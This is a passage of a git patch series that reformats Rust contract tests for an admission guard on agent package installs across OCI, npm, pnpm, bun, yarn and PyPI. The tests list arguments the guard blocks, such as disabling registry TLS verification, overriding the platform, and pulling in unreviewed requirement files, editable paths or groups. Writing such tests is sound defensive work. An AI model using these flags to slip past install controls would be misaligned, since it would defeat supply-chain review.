InstallIntent) { actor_id: "agent:wardnet:admission".to_string(), workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), - argv: vec![executable.to_string(), "pull".to_string(), artifact_argument], + argv: vec![ + executable.to_string(), + "pull".to_string(), + artifact_argument, + ], manifest_sha256: MANIFEST_DIGEST.to_string(), source: InstructionSource { kind: InstructionSourceKind::ReviewedConfig, diff --git a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs index 60713388..e4871af9 100644 --- a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs @@ -4,16 +4,13 @@ use wardnet_agent_artifact_admission::{ }; const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] fn caller_selected_platform_is_not_authorized_by_an_index_digest() { let (policy, mut intent) = approved_oci_pull("docker"); - intent - .argv - .insert(2, "--platform=linux/arm64".to_string()); + intent.argv.insert(2, "--platform=linux/arm64".to_string()); let decision = admission_decision(&policy, &intent); @@ -30,9 +27,7 @@ fn caller_selected_platform_is_not_authorized_by_an_index_digest() { #[test] fn podman_platform_selection_is_bound_by_the_same_oci_policy() { let (policy, mut intent) = approved_oci_pull("podman"); - intent - .argv - .insert(2, "--platform=linux/amd64".to_string()); + intent.argv.insert(2, "--platform=linux/amd64".to_string()); let decision = admission_decision(&policy, &intent); @@ -92,9 +87,7 @@ fn separated_platform_value_does_not_duplicate_artifact_reason() { fn non_pull_oci_command_remains_owned_by_the_existing_command_guard() { let (policy, mut intent) = approved_oci_pull("docker"); intent.argv[1] = "push".to_string(); - intent - .argv - .insert(2, "--platform=linux/arm64".to_string()); + intent.argv.insert(2, "--platform=linux/arm64".to_string()); let decision = admission_decision(&policy, &intent); @@ -167,7 +160,11 @@ fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { actor_id: "agent:wardnet:admission".to_string(), workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), - argv: vec![executable.to_string(), "pull".to_string(), artifact_argument], + argv: vec![ + executable.to_string(), + "pull".to_string(), + artifact_argument, + ], manifest_sha256: MANIFEST_DIGEST.to_string(), source: InstructionSource { kind: InstructionSourceKind::ReviewedConfig, diff --git a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs index df14630f..d827b1a6 100644 --- a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs @@ -4,17 +4,14 @@ use wardnet_agent_artifact_admission::{ }; const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] fn podman_cannot_disable_registry_tls_verification() { for disabled in ["false", "FALSE", "f", "0"] { let (policy, mut intent) = approved_podman_pull(); - intent - .argv - .insert(2, format!("--tls-verify={disabled}")); + intent.argv.insert(2, format!("--tls-verify={disabled}")); let decision = admission_decision(&policy, &intent); From d34abc3563883c7f4f985f2f1ba3425aa386426a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:15:47 +0900 Subject: [PATCH 238/247] style(admission): format Bun and DDD contracts --- .../tests/bun_scope_escape_contract.rs | 22 ++++++++++--------- .../tests/bun_trust_authority_contract.rs | 6 ++--- .../tests/ddd_architecture_contract.rs | 5 ++++- 3 files changed, 18 insertions(+), 15 deletions(-) diff --git a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs index 058542e3..8e05d0fa 100644 --- a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs @@ -15,9 +15,11 @@ fn bun_working_directory_and_filter_cannot_escape_the_broker_selected_scope() { ] { let label = scope_arguments.join(" "); let (policy, mut intent) = bun_install_case(); - intent - .argv - .extend(scope_arguments.into_iter().map(|argument| argument.to_string())); + intent.argv.extend( + scope_arguments + .into_iter() + .map(|argument| argument.to_string()), + ); let decision = admission_decision(&policy, &intent); @@ -44,9 +46,11 @@ fn bun_explicit_config_cannot_replace_the_reviewed_registry_context() { ] { let label = config_arguments.join(" "); let (policy, mut intent) = bun_install_case(); - intent - .argv - .extend(config_arguments.into_iter().map(|argument| argument.to_string())); + intent.argv.extend( + config_arguments + .into_iter() + .map(|argument| argument.to_string()), + ); let decision = admission_decision(&policy, &intent); @@ -73,8 +77,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { @@ -83,8 +86,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["bun".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs b/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs index c913062d..2d16a523 100644 --- a/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs @@ -32,8 +32,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { @@ -42,8 +41,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["bun".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index eaaa35b0..fb750c62 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -10,7 +10,10 @@ const DOMAIN_SOURCES: &[(&str, &str)] = &[ "artifact_source_identity.rs", include_str!("../src/artifact_source_identity.rs"), ), - ("artifact_variant.rs", include_str!("../src/artifact_variant.rs")), + ( + "artifact_variant.rs", + include_str!("../src/artifact_variant.rs"), + ), ("oci_transport.rs", include_str!("../src/oci_transport.rs")), ("policy.rs", include_str!("../src/policy.rs")), ]; From 6ea20f5fd8a021c563eb102fcd9839d44c71080f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:17:42 +0900 Subject: [PATCH 239/247] style(admission): format npm security contracts --- .../tests/npm_artifact_source_identity_contract.rs | 6 ++---- .../tests/npm_config_override_contract.rs | 6 ++---- .../tests/npm_dependency_cardinality_contract.rs | 6 ++---- .../tests/npm_tls_trust_contract.rs | 6 ++---- 4 files changed, 8 insertions(+), 16 deletions(-) diff --git a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs index 3b623074..c98aa18f 100644 --- a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs @@ -4,10 +4,8 @@ use wardnet_agent_artifact_admission::{ validate_service_config, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const PACKAGE_NAME: &str = "@cwl/example"; const PACKAGE_VERSION: &str = "1.2.3"; const REGISTRY_URL: &str = "https://registry.npmjs.org"; diff --git a/crates/agent-artifact-admission/tests/npm_config_override_contract.rs b/crates/agent-artifact-admission/tests/npm_config_override_contract.rs index 55a7eb74..234c2753 100644 --- a/crates/agent-artifact-admission/tests/npm_config_override_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_config_override_contract.rs @@ -34,8 +34,7 @@ fn npm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "@cwl/example@1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -44,8 +43,7 @@ fn npm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["npm".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs index 0494138a..ef82ad47 100644 --- a/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_DIGEST: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const ARTIFACT_ARGUMENT: &str = "@cwl/example@1.2.3"; #[test] diff --git a/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs b/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs index 2bc439bb..f64b2fd1 100644 --- a/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs @@ -35,8 +35,7 @@ fn npm_case(trust_argument: &str) -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "@cwl/example@1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -45,8 +44,7 @@ fn npm_case(trust_argument: &str) -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["npm".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From 45d14cd5bbfd172440e706ea1819763032493897 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:21:38 +0900 Subject: [PATCH 240/247] style(admission): format pnpm and PyPI contracts --- .../tests/pnpm_config_override_contract.rs | 6 ++---- .../tests/pnpm_pnpmfile_contract.rs | 6 ++---- .../tests/pnpm_scope_escape_contract.rs | 6 ++---- .../tests/pypi_artifact_source_identity_contract.rs | 6 ++---- .../tests/pypi_artifact_variant_contract.rs | 3 +-- .../tests/pypi_dependency_cardinality_contract.rs | 11 ++++++----- .../tests/yarn_workspace_root_contract.rs | 6 ++---- 7 files changed, 17 insertions(+), 27 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs b/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs index fa1fc524..60411e39 100644 --- a/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs +++ b/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs @@ -35,8 +35,7 @@ fn pnpm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "@cwl/example@1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -45,8 +44,7 @@ fn pnpm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["pnpm".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs index 87baf1ab..cfc7c611 100644 --- a/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs +++ b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs @@ -47,8 +47,7 @@ fn approved_pnpm_case() -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "@cwl/example@1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -57,8 +56,7 @@ fn approved_pnpm_case() -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["pnpm".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs index 703c3010..ac72340a 100644 --- a/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs @@ -40,8 +40,7 @@ fn pnpm_case(scope_arguments: &[&str]) -> (AdmissionPolicy, InstallIntent, Strin version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "@cwl/example@1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -50,8 +49,7 @@ fn pnpm_case(scope_arguments: &[&str]) -> (AdmissionPolicy, InstallIntent, Strin allowed_executables: vec!["pnpm".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs index fece97eb..d11b84e6 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -4,10 +4,8 @@ use wardnet_agent_artifact_admission::{ validate_service_config, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const PACKAGE_NAME: &str = "example-package"; const PACKAGE_VERSION: &str = "1.2.3"; const REGISTRY_URL: &str = "https://pypi.org/simple"; diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs index f6258a12..45281c2d 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -4,8 +4,7 @@ use wardnet_agent_artifact_admission::{ }; const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; const PACKAGE_NAME: &str = "example-package"; const PACKAGE_VERSION: &str = "1.2.3"; diff --git a/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs index f1c0e625..85c4ed17 100644 --- a/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const ARTIFACT_DIGEST: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; #[test] @@ -43,7 +41,10 @@ fn pypi_install_with_no_deps_preserves_the_reviewed_artifact_cardinality() { } } -fn approved_pypi_install(executable: &str, include_no_deps: bool) -> (AdmissionPolicy, InstallIntent) { +fn approved_pypi_install( + executable: &str, + include_no_deps: bool, +) -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), name: "cwl-example".to_string(), diff --git a/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs index 3b2f06af..d606f6bf 100644 --- a/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs +++ b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs @@ -13,8 +13,7 @@ fn yarn_classic_workspace_root_escape_flags_fail_closed() { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { @@ -23,8 +22,7 @@ fn yarn_classic_workspace_root_escape_flags_fail_closed() { allowed_executables: vec!["yarn".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From f46b0685375ea9eb1f4061ba283b25d2a0815468 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:13:07 +0900 Subject: [PATCH 241/247] style(admission): format indirect artifact source tests --- .../indirect_artifact_source_contract.rs | 57 +++++++++++++++---- 1 file changed, 47 insertions(+), 10 deletions(-) diff --git a/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs index 63541d42..ff68d4a0 100644 --- a/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs +++ b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs @@ -8,7 +8,13 @@ fn pip_family_cannot_source_undeclared_artifacts_from_files_or_editable_paths() let cases: &[(&str, &[&str])] = &[ ( "pip", - &["install", "cwl-example==1.2.3", "--require-hashes", "-r", "requirements.txt"], + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-r", + "requirements.txt", + ], ), ( "pip3", @@ -21,7 +27,13 @@ fn pip_family_cannot_source_undeclared_artifacts_from_files_or_editable_paths() ), ( "pip", - &["install", "cwl-example==1.2.3", "--require-hashes", "-e", "./unreviewed"], + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-e", + "./unreviewed", + ], ), ( "pip3", @@ -51,7 +63,14 @@ fn pip_family_cannot_source_undeclared_artifacts_from_files_or_editable_paths() #[test] fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths() { let cases: &[&[&str]] = &[ - &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "-r", "requirements.txt"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-r", + "requirements.txt", + ], &[ "pip", "install", @@ -59,7 +78,14 @@ fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths "--require-hashes", "--requirements=requirements.txt", ], - &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "-e", "./unreviewed"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-e", + "./unreviewed", + ], &[ "pip", "install", @@ -67,8 +93,21 @@ fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths "--require-hashes", "--editable=./unreviewed", ], - &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "--group", "unreviewed"], - &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "--group=unreviewed"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--group", + "unreviewed", + ], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--group=unreviewed", + ], &[ "pip", "install", @@ -101,8 +140,7 @@ fn assert_indirect_source_blocked(executable: &str, arguments: &[&str]) { version: "1.2.3".to_string(), registry_url: "https://pypi.org/simple".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "cwl-example==1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -111,8 +149,7 @@ fn assert_indirect_source_blocked(executable: &str, arguments: &[&str]) { allowed_executables: vec![executable.to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From 24a57485cb39d1620e79a8863af2c8a580b919e2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:14:09 +0900 Subject: [PATCH 242/247] style(admission): format npm source identity test --- .../tests/npm_artifact_source_identity_contract.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs index c98aa18f..3f5335dc 100644 --- a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs @@ -1,7 +1,7 @@ use wardnet_agent_artifact_admission::{ - AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, - DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, - validate_service_config, + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, + ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, + admission_decision, validate_service_config, }; const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; From 379e6e15066792dd75897fc96b1078cfef5e53cc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:14:31 +0900 Subject: [PATCH 243/247] style(admission): format PyPI source identity test --- .../tests/pypi_artifact_source_identity_contract.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs index d11b84e6..f9f21cd3 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -1,7 +1,7 @@ use wardnet_agent_artifact_admission::{ - 